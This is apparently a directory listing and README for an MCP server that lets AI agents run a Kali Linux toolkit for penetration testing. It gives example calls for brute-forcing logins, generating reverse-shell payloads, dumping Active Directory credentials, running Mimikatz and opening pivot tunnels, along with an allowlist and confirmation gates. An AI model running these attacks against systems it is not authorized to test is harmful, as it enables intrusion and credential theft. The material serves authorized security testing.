Skip to main content
Glama
flaviofilipe

kali-security-bridge

by flaviofilipe

kali-security-bridge

test

An MCP server that gives Claude (or any MCP-compatible AI agent) a complete offensive security testing toolkit — reconnaissance, enumeration, web analysis, exploitation, credential access, Active Directory lateral movement, post-exploitation, and pivoting — running inside an isolated Kali Linux container, with a mandatory target allowlist, rate limiting, a confirmation gate on high-risk actions, and a full audit log.

In short: AI-driven penetration testing automation, safely sandboxed in Docker, exposed as 63 MCP tools so Claude Code, Claude Desktop, ChatGPT, or any other MCP-compatible client can run a full web app / WordPress / network / Active Directory pentest — Nmap port scanning, Nikto and Nuclei vulnerability scanning, Gobuster/ffuf directory brute forcing, SQLMap SQL injection testing, Hydra credential brute forcing, WPScan WordPress auditing, John/Hashcat hash cracking, Metasploit, reverse shell and evil-winrm session management, Impacket/BloodHound/NetExec Active Directory tooling, LinPEAS/WinPEAS privilege-escalation enumeration, Chisel/ ligolo-ng pivoting, and automated Markdown/JSON reporting — all from a chat conversation.

⚠️ Read SECURITY.md before using this. This project runs real offensive tools (hydra, sqlmap, metasploit, credential dumping, lateral movement, etc.) — only ever against targets you have explicit authorization to test.

Table of contents

Related MCP server: redteam-mcp

Architecture and infrastructure

AI client (Claude Code / Claude Desktop / ChatGPT / ...)
        │  MCP — local stdio, OR remote HTTP with OAuth
        ▼
   server.py (FastMCP)  ──docker exec (no shell)──▶  kali-mcp-box container
        │                                              (Kali Linux + tools)
        ▼
  ~/.kali-mcp/findings.db (SQLite) + audit.log + reports

The project uses two topologies, depending on who's connecting:

Component

Used

Role

Docker

always

Isolates the offensive tools inside their own container (kali-mcp-box), with NET_ADMIN/NET_RAW scoped to it — never on the host

FastMCP (Python)

always

Implements the MCP protocol and exposes the tools; runs over stdio (local) or http (remote)

systemd (--user)

remote mode

Keeps the HTTP server alive as a persistent service, with automatic restart and reboot survival (loginctl enable-linger)

AWS Cognito

remote mode

OAuth 2.1 Authorization Server — requires login before any tool call when exposed over HTTP. Never used in local stdio mode

Cloudflare Tunnel (cloudflared)

remote mode

Exposes the server on a real public domain with valid TLS. Needed even for personal remote use: OAuth registration for clients like Claude Desktop or ChatGPT is done by the vendor's own backend (Anthropic's, OpenAI's), which can't reach domains that only exist on private DNS/VPN (e.g. Tailscale's .ts.net) — see why HTTPS is required

No GPU/CUDA is involved anywhere in this — see the requirements section.

Minimum requirements

To run locally (stdio, used with Claude Code)

  • Docker + Docker Compose v2

  • uv (manages Python 3.13 automatically)

  • CPU: 2 cores (limit applied to the container via docker-compose.yml)

  • RAM: 4 GB free (2 GB reserved for the container + host + Python process)

  • Disk: ~6 GB free (final image ~3 GB; the multi-stage build can spike higher during the Go compile stage)

  • OS: Linux or macOS with Docker Desktop. Windows works via WSL2

  • A user with permission on the Docker socket (docker group or root)

Additional, only for remote exposure (HTTP + OAuth)

  • An AWS account (Cognito has a free tier — 50k MAUs/month free, plenty for personal use/small teams)

  • AWS CLI configured, to create the User Pool/App Client

  • cloudflared installed (Cloudflare Tunnel) — no domain of your own needed to test (a Quick Tunnel generates a *.trycloudflare.com URL on the spot); a custom domain is recommended for permanent use

  • systemd (systemctl --user) if running as a persistent service on Linux — on another OS, adapt to the equivalent process manager (launchd, etc.)

GPU / CUDA

Not used by this project. No tool in the container (nmap, sqlmap, hydra, nuclei, etc.) depends on a GPU — everything is CPU-bound. The docker-compose.yml reserves no GPU device, and the Dockerfile installs no CUDA/NVIDIA drivers. If the host machine has a GPU, it sits idle as far as this project is concerned.

Tools available in the container

Installed via apt (final image based on kalilinux/kali-rolling):

Tool

Category

nmap

Port/service scanning

smbclient

SMB browsing/download — smb_list_dir(), smb_get_file()

nikto

Web vulnerability scanning

testssl.sh

SSL/TLS analysis

wpscan

WordPress security auditing

sqlmap

SQL injection testing

hydra

Credential brute forcing

gobuster, dirb

Directory enumeration

ffuf

Fast fuzzing

metasploit-framework

Exploitation (msfvenom, msfconsole)

john, hashcat, hashid

Hash identification / cracking

exploitdb (searchsploit)

Public-exploit lookup

proxychains4

Routing tool traffic through a pivot tunnel

radare2, gdb, binwalk, exiftool, steghide

Reverse engineering / forensics

mariadb-client

Direct MySQL/MariaDB enumeration

tmux, netcat-traditional

Session management (keeps a reverse shell alive across MCP calls)

telnet, ftp (tnftp)

Interactive Telnet/FTP clients — connect_telnet(), enumerate_ftp()

curl, wget, chromium

HTTP requests / rendering

Compiled from source or fetched as a pinned prebuilt release in a separate Go builder stage (golang:1.24-bookworm), with only the final binaries copied into the image (keeps the final image lean):

Tool

Category

subfinder

Subdomain enumeration

katana

Web application crawling

nuclei

Template-based CVE detection (updated at build time)

dalfox

XSS detection

gowitness

Screenshot evidence capture

httpx-projectdiscovery

Batch HTTP probing — renamed from httpx; that name is shadowed by the Python httpx HTTP-client library installed in /opt/pymcp-venv (see the Dockerfile comment)

chisel

Reverse-tunnel pivoting

trufflehog

Git/filesystem secret scanning

ligolo-ng (proxy + agent)

Full-network pivoting via a routed tun interface

Installed via a dedicated uv-managed Python venv (/opt/pymcp-venv, kept off Kali's system Python), or git-cloned at a pinned tag/commit when there's no usable PyPI package:

Tool

Category

netexec (nxc)

AD/SMB enumeration and lateral movement (successor to CrackMapExec)

impacket (impacket-secretsdump, impacket-psexec, ...)

AD credential dumping and lateral movement

bloodhound-python

Active Directory attack-path collection

enum4linux-ng

SMB/AD enumeration

volatility3 (vol)

Memory forensics

angr

Binary symbolic execution

pwntools

CTF/binary-exploitation scripting

SecretFinder, jwt_tool, graphw00f

JS secret extraction, JWT analysis, GraphQL fingerprinting

evil-winrm (Ruby gem)

Windows session over WinRM

Responder

LLMNR/NBT-NS poisoning

⚠️ graphw00f is NOT installed via pip install graphw00f. That exact name is registered on PyPI as an inert dependency-confusion decoy (its own package description says so) — the real tool only exists as a GitHub repo and is what the Dockerfile actually clones. Worth remembering before ever running pip install <tool-name> on a name lifted from documentation without checking PyPI first.

Mimikatz is staged only when explicitly requested at build time (see below) — it's excluded by default because it's frequently AV/registry-policy flagged. run_mimikatz() refuses to run if it isn't present in the image.

Wordlists included: rockyou.txt (decompressed at build time), Kali's standard wordlists (dirb, dirbuster), and a custom sensitive-paths list (config/sensitive-paths.txt, 60+ entries — .env, database backups, wp-config.php.bak, etc.) used by check_exposed_files.

Starting the Docker image

git clone <this-repository>
cd kali-mcp

# build the image (first time, or after updating the Dockerfile)
docker compose build

# start the container in the background — it stays alive waiting for MCP exec
docker compose up -d

# confirm it's up
docker ps --filter name=kali-mcp-box

To force a fully fresh image (updated packages/templates, no cache):

docker compose build --no-cache
docker compose up -d   # recreates the container from the new image

To include Mimikatz (off by default — see SECURITY.md):

docker compose build --build-arg INCLUDE_OFFENSIVE_BINARIES=true
docker compose up -d

Rebuilding periodically is recommended — the image doesn't update itself, and the Nuclei templates/apt packages stay frozen at build time.

Tutorials — connecting an AI client

Full step-by-step guides live in docs/tutorials/, one per client, so this README stays a readable overview as more integrations get added:

Client

Where it runs

Guide

Claude Code

Same machine as the server (local stdio, no auth needed)

docs/tutorials/claude-code.md

Claude Desktop

Any machine (remote, HTTPS + OAuth)

docs/tutorials/claude-desktop.md

ChatGPT

Any machine (remote, HTTPS + OAuth)

docs/tutorials/chatgpt.md

Both remote clients share the same one-time infrastructure setup — AWS Cognito for OAuth 2.1 + a Cloudflare Tunnel for TLS — documented once in docs/tutorials/remote-https-setup.md, which also explains why a real public HTTPS endpoint is a hard requirement for these clients (short version: their backends, not your browser, perform the OAuth handshake against your server, so a private-only address or self-signed cert simply won't work). Local stdio (Claude Code) needs none of that, since there's no network hop for anything to authenticate.

See docs/tutorials/README.md for the full index, including how to add a guide for another client.

MCP tools — reference and usage examples

Required workflow: add the target to the allowlist before any scan. No tool will run against an unauthorized target.

Governance

manage_allowlist — adds/removes/lists authorized targets

manage_allowlist(action="add", entry="192.168.1.10", note="lab VM — authorized on 2026-05-18")
manage_allowlist(action="list")
manage_allowlist(action="remove", entry="192.168.1.10")

check_target_online — ping before any scan

check_target_online(target="192.168.1.10")

resume_session — resumes an interrupted pentest, listing saved scans

resume_session(target="example.com")

list_findings — queries the finding history in SQLite

list_findings(target="192.168.1.10", limit=20)

generate_report — consolidates all findings for a target into one report

generate_report(target="192.168.1.10", output_format="markdown")

request_high_risk_action — issues a 10-minute, single-use confirmation token required before running a high-risk tool (credential dumping, lateral movement, Mimikatz, netexec write/exec modes, opening a pivot tunnel)

request_high_risk_action(
    action="impacket_secretsdump", target="10.0.0.20",
    justification="Domain Admin creds needed to validate lateral movement per engagement scope §3.2",
)
# -> {"token": "...", "expires_at": "..."} — pass the token as confirmation_token= to the gated tool

Reconnaissance

scan_ports_nmap — port scanning, always the first phase

scan_ports_nmap(target="192.168.1.10", flags="-sV -F")
scan_ports_nmap(target="192.168.1.10", flags="-p 1-65535 -sV", stealth=True)
# lab targets (HTB, THM, ...) commonly report "Host seems down" against
# Nmap's default discovery despite answering plain ICMP — retry with:
scan_ports_nmap(target="10.10.10.5", skip_host_discovery=True)

enumerate_ftp — anonymous (or credentialed) FTP login check + root directory listing

enumerate_ftp(target="192.168.1.10")  # anonymous:anonymous by default
enumerate_ftp(target="192.168.1.10", username="admin", password="pw")

enum_subdomains_subfinder — passive subdomain reconnaissance

enum_subdomains_subfinder(domain="example.com")

scan_directories_gobuster — brute-force hidden directories/files

scan_directories_gobuster(target_url="http://192.168.1.10", extensions="php,html,js,txt,bak,zip,env")
scan_directories_gobuster(target_url="https://app.local", evasion=True)  # target with a WAF

crawl_application_katana — crawling to discover endpoints/parameters

crawl_application_katana(target_url="http://192.168.1.10", depth=3)

scan_fuzzing_ffuf — fast fuzzing of directories, parameters, or APIs

scan_fuzzing_ffuf(target_url="http://192.168.1.10/FUZZ")                      # directories
scan_fuzzing_ffuf(target_url="http://192.168.1.10/page", param_name="id")     # GET parameter
scan_fuzzing_ffuf(target_url="http://192.168.1.10/login", param_name="user", method="POST")

Vulnerability analysis

scan_vulnerabilities_nikto — general web vulnerability scan

scan_vulnerabilities_nikto(target_url="http://192.168.1.10")

scan_ssl_testssl — weak protocols/ciphers, certificates, HEARTBLEED, etc.

scan_ssl_testssl(target="app.example.com", port=443)

scan_nuclei — known CVEs via templates

scan_nuclei(target_url="http://192.168.1.10", severity="high,critical")
scan_nuclei(target_url="http://192.168.1.10", tags="wordpress")

scan_xss_dalfox — reflected/DOM XSS

scan_xss_dalfox(target_url="http://app.local/search?q=test")

scan_wordpress_wpscan — full WordPress audit

scan_wordpress_wpscan(target_url="http://192.168.1.10", enumerate="vp,vt,u")

scan_xmlrpc_wordpress — attack vectors on xmlrpc.php

scan_xmlrpc_wordpress(target_url="http://192.168.1.10")

Exploitation

scan_sql_injection_sqlmap — SQL injection, always escalating risk gradually

scan_sql_injection_sqlmap(target_url="http://app.local/user?id=1", risk=1, level=1)  # start here

brute_force_hydra — weak credentials on authentication services

brute_force_hydra(target="192.168.1.10", service="ssh", port=22)
brute_force_hydra(
    target="192.168.1.10", service="http-post-form", port=80,
    http_form_path="/wp-login.php",
    http_form_data="log=^USER^&pwd=^PASS^&wp-submit=Log+In",
    http_form_fail="ERROR",
)

test_file_upload — PoC for unrestricted upload (CWE-434)

test_file_upload(upload_url="http://192.168.1.10/upload.php", field_name="file")

enumerate_mysql_database — enumerate databases/tables/hashes with known credentials

enumerate_mysql_database(host="192.168.1.10", user="root", password="root", database="wordpress")

metasploit_generate_payload — msfvenom wrapper; lhost/lport are your own listener, so this doesn't touch the allowlist

metasploit_generate_payload(payload="linux/x64/shell_reverse_tcp", lhost="10.10.10.5", lport=4444, format="elf")

metasploit_run_module — msfconsole wrapper, sets RHOSTS from target automatically

metasploit_run_module(
    module="auxiliary/scanner/smb/smb_version", options={"RPORT": "445"}, target="192.168.1.10",
)

Web utilities

make_http_request — custom HTTP request

make_http_request(url="http://192.168.1.10/.env")
make_http_request(url="http://192.168.1.10/api/login", method="POST", body="user=admin&pass=test")

check_security_headers — CSP, HSTS, cookies, CORS, with severity

check_security_headers(target_url="https://app.local")

check_exposed_files.env, backups, phpinfo.php, etc.

check_exposed_files(target_url="http://192.168.1.10")

screenshot_gowitness — visual evidence of the application

screenshot_gowitness(target_url="http://192.168.1.10/admin")

Credentials

identify_hash — identifies the likely hash algorithm(s) via hashid

identify_hash(hash_value="5f4dcc3b5aa765d61d8327deb882cf99")

crack_hash_john / crack_hash_hashcat — offline dictionary attacks; cracked plaintext is returned to you and persisted encrypted (see SECURITY.md), never logged in the clear

crack_hash_john(hash_value="5f4dcc3b5aa765d61d8327deb882cf99", hash_type="raw-md5")
crack_hash_hashcat(hash_value="5f4dcc3b5aa765d61d8327deb882cf99", hash_mode=0)

search_exploit — Exploit-DB lookup via searchsploit; also called automatically at the end of scan_nuclei/scan_ports_nmap for any CVE IDs found in their output

search_exploit(query="wordpress 6.2")
search_exploit(query="CVE-2023-1234")

Sessions

start_reverse_shell_listener — nc listener kept alive in a tmux session inside the container

start_reverse_shell_listener(target="192.168.1.10", port=4444)

connect_telnet — opens a Telnet session via the same tmux-backed session mechanism as reverse shells

connect_telnet(target="192.168.1.10")
connect_telnet(target="192.168.1.10", port=2323)

session_exec — sends a command to an open session, revalidates the allowlist on every call

session_exec(session_id="a1b2c3d4e5f6", command="whoami")

session_status / session_list / session_close

session_status()                                # list every session
session_list(target="192.168.1.10")
session_close(session_id="a1b2c3d4e5f6")

Active Directory

enum_smb_shares — enum4linux-ng, read-only

enum_smb_shares(target="192.168.1.20")

smb_list_dir — lists a share's contents (or a subdirectory within it) via smbclient; use to find exact filenames before smb_get_file

smb_list_dir(target="192.168.1.20", share="share")                     # anonymous
smb_list_dir(target="192.168.1.20", share="share", path="backups")
smb_list_dir(target="192.168.1.20", share="share", username="admin", password="pw")

smb_get_file — downloads a file from an SMB share and returns its content directly

smb_get_file(target="192.168.1.20", share="share", remote_path="flag.txt")
smb_get_file(target="192.168.1.20", share="share", remote_path="backups/usuarios.txt")
smb_get_file(target="192.168.1.20", share="share", remote_path="secret.docx", username="admin", password="pw")

enum_ad_netexec — netexec (nxc); read modes run directly, credential- dump/exec modes require request_high_risk_action first

enum_ad_netexec(target="192.168.1.20", mode="shares")
enum_ad_netexec(target="192.168.1.20", mode="ntds", confirmation_token="...")

bloodhound_collect — AD attack-path data collection

bloodhound_collect(domain="corp.local", target="192.168.1.20", username="user", password="pass")

impacket_secretsdump / impacket_psexec — HIGH RISK, both require a confirmation_token

token = request_high_risk_action(
    action="impacket_secretsdump", target="192.168.1.20", justification="...",
)["token"]
impacket_secretsdump(target="192.168.1.20", username="admin", password="pw", confirmation_token=token)

evil_winrm_connect — opens a WinRM session via the same tmux-backed session mechanism as reverse shells

evil_winrm_connect(target="192.168.1.20", username="admin", password="pw")

Post-exploitation

run_linpeas / run_winpeas — privilege-escalation enumeration against an open session

run_linpeas(session_id="a1b2c3d4e5f6")
run_winpeas(session_id="a1b2c3d4e5f6")

run_mimikatz — HIGH RISK, requires a confirmation_token; refuses to run unless the image was built with INCLUDE_OFFENSIVE_BINARIES=true

run_mimikatz(session_id="a1b2c3d4e5f6", confirmation_token="...")

Pivoting

start_chisel_tunnel / start_ligolo_tunnel — both require the pivot host in the allowlist AND a confirmation_token. Opening a tunnel never adds anything to the allowlist — any host reached through it still needs its own manage_allowlist() entry before it can be scanned.

start_chisel_tunnel(target="192.168.1.20", local_port=9001, remote_port=8080, confirmation_token="...")
start_ligolo_tunnel(target="192.168.1.20", confirmation_token="...")

pivot_scan_via_proxychains — runs any command through the tunnel

pivot_scan_via_proxychains(target="10.10.10.5", command="nmap -sV -F 10.10.10.5")

Forensics / binary analysis

CTF/forensics workflow — not part of the standard web pentest flow.

analyze_memory_volatility(dump_path="/tmp/dump.raw", plugin="windows.pslist")
disassemble_binary_r2(binary_path="/tmp/vuln")
debug_binary_gdb(binary_path="/tmp/vuln", commands="break main; run; info registers")
extract_binwalk(file_path="/tmp/firmware.bin")

analyze_binary_angr / exploit_pwntools_helper — EXPERIMENTAL, execute caller-supplied Python inside the container

analyze_binary_angr(binary_path="/tmp/vuln", analysis="cfg = proj.analyses.CFGFast(); result = len(cfg.graph.nodes)")
exploit_pwntools_helper(script="from pwn import *\np = process('/tmp/vuln')\np.sendline(b'A'*40)\nprint(p.recvall())")

Secrets / JS / API

scan_secrets_trufflehog(target_url_or_repo="https://github.com/org/repo.git")
scan_js_secretfinder(target_url="http://app.local/main.js")
analyze_jwt(token="eyJhbGciOiJIUzI1NiJ9...")
fingerprint_graphql_graphw00f(target_url="http://app.local/graphql")

Orchestration

run_full_pentest — autonomous end-to-end pipeline (16 phases)

run_full_pentest(target="192.168.1.10")
run_full_pentest(target="example.com", target_url="https://example.com", include_brute_force=True, evasion=True)

Local data (outside the repository)

Path

Contents

~/.kali-mcp/findings.db

SQLite: findings, allowlist, sessions, credentials (hash/plaintext columns Fernet-encrypted), exploits, high_risk_confirmations

~/.kali-mcp/secret.key

Fernet key (0600) that encrypts the credentials table — treat ~/.kali-mcp/ as a secret; see SECURITY.md

~/.kali-mcp/audit.log

Audit log of every execution — sensitive fields (passwords, hashes, tokens) are redacted before logging

~/.kali-mcp/workspaces/

Reports generated by generate_report

~/mcps/outputs/kali-mcp/<target>/

Raw output of each scan + session.json (enables resuming via resume_session)

License

MIT

Available Tools

25 tools
brute_force_hydraA

Testa credenciais fracas em serviços de autenticação usando Hydra. Use quando Nmap identificar SSH, FTP, HTTP-Auth, RDP ou Telnet.

ATENÇÃO: pode bloquear contas ou gerar alertas. Use só em ambientes autorizados.

Serviços válidos: ssh, ftp, http-get, http-post-form, rdp, telnet, smtp, pop3, imap, smb

Para http-post-form, configure: http_form_path: caminho do formulário. Ex: "/wp-login.php", "/login" http_form_data: campos do formulário com ^USER^ e ^PASS^. Ex: "log=^USER^&pwd=^PASS^&wp-submit=Log+In" http_form_fail: string presente na resposta em caso de falha. Ex: "ERROR", "Invalid", "incorrect"

ParametersJSON Schema
NameRequiredDescriptionDefault
portYesPorta do serviço.
targetYesIP ou hostname do alvo.
serviceYesServiço a testar. Ex: "ssh", "ftp", "http-post-form"
passlistNoWordlist de senhas no container./usr/share/wordlists/rockyou.txt
userlistNoWordlist de usuários no container./usr/share/wordlists/unix_users.txt
http_form_dataNoCampos POST com ^USER^ e ^PASS^ (só http-post-form).log=^USER^&pwd=^PASS^&wp-submit=Log+In
http_form_failNoString de falha na resposta (só http-post-form).ERROR
http_form_pathNoCaminho do formulário (só http-post-form)./wp-login.php

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4.8/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

The description discloses the destructive/impactful behavior: 'ATENÇÃO: pode bloquear contas ou gerar alertas. Use só em ambientes autorizados.' This goes beyond what annotations provide (no annotations exist), clearly indicating potential account lockouts and the need for authorization, which is critical for security testing.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is compact and front-loaded with purpose and usage. It uses bullet-like formatting for service list and parameters, making it easy to scan. Some redundancy (repeats service list in description and schema) but overall efficient and necessary context.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a tool with 8 parameters, no annotations, but an output schema, the description is complete: it explains when to use, what services are supported, how to configure complex params with examples, and the risks. It fully compensates for missing annotations and provides actionable guidance for all major aspects.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema coverage is 100%, so the schema provides descriptions for all parameters. However, the description adds critical semantics for http-post-form parameters (http_form_path, http_form_data, http_form_fail) with detailed examples, going beyond the schema's brief definitions. No extra semantics for other params, but they are self-explanatory.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: to test weak credentials on authentication services using Hydra, with a specific verb ('test') and resource ('authentication services'). It distinguishes itself from sibling tools by listing target services (SSH, FTP, HTTP-Auth, etc.) and referencing Nmap for identification, which is unique among the sibling tools.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly provides when to use the tool: 'Use quando Nmap identificar SSH, FTP, HTTP-Auth, RDP ou Telnet.' It also provides clear alternatives by listing valid services and warns about risks, effectively guiding the agent on appropriate usage and prerequisites.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

crawl_aplicacao_katanaA

Faz crawling da aplicação web para descobrir endpoints e parâmetros usando Katana. Use após o Gobuster. URLs com parâmetros na saída são candidatas a Dalfox e SQLMap.

ParametersJSON Schema
NameRequiredDescriptionDefault
depthNoProfundidade do crawl (1-5). Padrão: 3
evasionNoTrue = rate-limit 5 req/s + headers de browser real.
target_urlYesURL base. Ex: "http://192.168.1.10"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.8/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It only states the tool crawls the web application, but does not mention the volume of requests, potential impact on the target, rate limiting (though the 'evasion' parameter hints at rate-limit behavior), or any side effects. The description adds output usage context but lacks crucial behavioral details for a security scanning tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is extremely concise—two sentences that immediately state the tool's purpose, then provide usage context and downstream hints. There is zero waste; every sentence adds value. It is front-loaded with the primary function and followed by practical guidance.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's moderate complexity (3 parameters, all documented in schema) and the presence of an output schema (which covers return values), the description is nearly complete. It explains the tool's role in the pentest pipeline and how to use its output. The only gap is behavioral transparency (e.g., request pacing, stealth), but that is addressed in dimension 3. For its purpose, the description is sufficiently complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema has 100% coverage for all three parameters (depth, evasion, target_url) with descriptive comments. The description does not add any additional parameter-specific semantics beyond what the schema already provides. It mentions 'URLs com parâmetros na saída' but that refers to crawl output, not the tool's own parameters. Thus, the schema does the heavy lifting, and the description adds little value.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: it crawls a web application to discover endpoints and parameters using Katana. It distinguishes itself from siblings like Gobuster (directory scanning) by focusing on crawling for endpoints with parameters, and explicitly mentions that URLs with parameters are candidates for Dalfox and SQLMap, differentiating downstream use.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit sequencing guidance: 'Use após o Gobuster' (use after Gobuster), which tells the agent when to run this tool in a pentest workflow. It also suggests that output URLs with parameters should be fed into Dalfox and SQLMap, providing clear follow-up steps. However, it does not mention exclusions or alternative tools, though the context is sufficiently clear.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

enumerar_banco_mysqlA

Conecta diretamente ao MySQL e enumera bancos, tabelas, usuários e hashes de senha. Use quando Nmap identificar porta 3306 exposta com credenciais fracas.

Para WordPress: passe database="wordpress" para extrair hashes da tabela wp_users e quebrá-los offline com hashcat (formato phpass).

ATENÇÃO: acesso direto ao banco — use somente em ambientes autorizados.

ParametersJSON Schema
NameRequiredDescriptionDefault
hostYesIP ou hostname do MySQL. Ex: "192.168.1.10", "vulnwp-db"
portNoPorta MySQL. Padrão: 3306
userNoUsuário. Ex: "root", "wordpress"root
databaseNoBanco específico para listar tabelas. Ex: "wordpress"
passwordNoSenha. Ex: "root", "wordpress"root

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4.2/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations provided, so the description carries the full burden. It mentions direct access and warns about authorization, which is good. Yet it doesn't disclose whether the tool is purely read-only (enumeration) or if it performs any writes, nor does it describe potential side effects or error behavior. More transparency on safety and impact is needed.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is four sentences: main purpose, when to use, an example, and a warning. It is front-loaded with the core function, uses no filler words, and every sentence adds value. Highly efficient.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (5 params, potential security implications) and that an output schema exists, the description covers essential aspects: purpose, usage context, and authorization warning. It could mention whether it attempts default creds or how it handles authentication failures, but overall it is adequately complete for agent decision-making.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% with all parameters described. The description adds value by providing a concrete use case for the 'database' parameter (passing 'wordpress' to extract hashes from wp_users) and hints at default credentials. This extra context enhances parameter understanding beyond the schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states it connects to MySQL and enumerates databases, tables, users, and password hashes. It gives a concrete example (WordPress wp_users hashes) and differentiates from siblings like scan_sql_injection_sqlmap by emphasizing direct database access rather than injection.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly says when to use: 'Use quando Nmap identificar porta 3306 exposta com credenciais fracas.' It also provides a specific scenario for WordPress. However, it doesn't mention alternatives or cases where it should not be used, so it's not a full 5.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

enum_subdominios_subfinderA

Enumera subdomínios via reconhecimento passivo usando Subfinder. Use quando o alvo for um domínio público, após o Nmap inicial.

ParametersJSON Schema
NameRequiredDescriptionDefault
domainYesDomínio raiz. Ex: "exemplo.com.br", "app.local"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must carry the transparency burden. It discloses that the enumeration is passive, implying a non-intrusive operation Android lacks details on output format, potential rate limits, or network impact. It adds minimal behavioral context beyond the passive nature, so a 3 is appropriate.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two short, front-loaded sentences. It states the action, method, and usage condition without any filler or redundancy. Every word earns its place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is simple with one parameter fully described in the schemaaine and an output schema present àThe description adds the key behavioral context (passive recon) and usage context (when to use: public domain, after Nmap). It doesn't explain the output details, but that's covered by the output schema. It's sufficiently complete for its simplicity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema fully describes the 'domain' parameter with an example. The description adds no additional semantic meaning beyond the schema; it just reiterates the concept of a public domain. Thus, the description provides no extra value over the schema, so a baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description states precisely that the tool enumerates subdomains via passive reconnaissance using Subfinder. This clearly identifies the action (enumeration), the resource (subdomains), and the method (passive, Subfinder), effectively distinguishing it from sibling tools like scan_portas_nmap or scan_diretorios_gobuster.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides explicit guidance: use when the target is a public domain and after the initial Nmap scan. This gives clear context and a workflow trigger, though it does not explicitly state when not to use or list alternative tools for subdomain enumeration, but among the siblings there is no other subdomain tool, so it's adequate.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

fazer_requisicao_httpA

Faz requisição HTTP customizada para verificar conteúdo, headers ou testar payloads. Use para confirmar arquivos expostos (.env, phpinfo.php, backups), inspecionar responses de endpoints ou enviar payloads manuais durante verificação de evidências.

ParametersJSON Schema
NameRequiredDescriptionDefault
urlYesURL completa. Ex: "http://192.168.1.10/.env"
bodyNoCorpo da requisição (para POST/PUT). Ex: "user=admin&pass=test"
methodNoMétodo HTTP. Padrão: "GET". Outros: "POST", "HEAD", "PUT"GET
headersNoHeaders extras, um por linha. Ex: "Authorization: Bearer token\nX-Custom: value"
timeoutNoTimeout em segundos. Padrão: 15
follow_redirectsNoSeguir redirects. Padrão: True

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.7/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

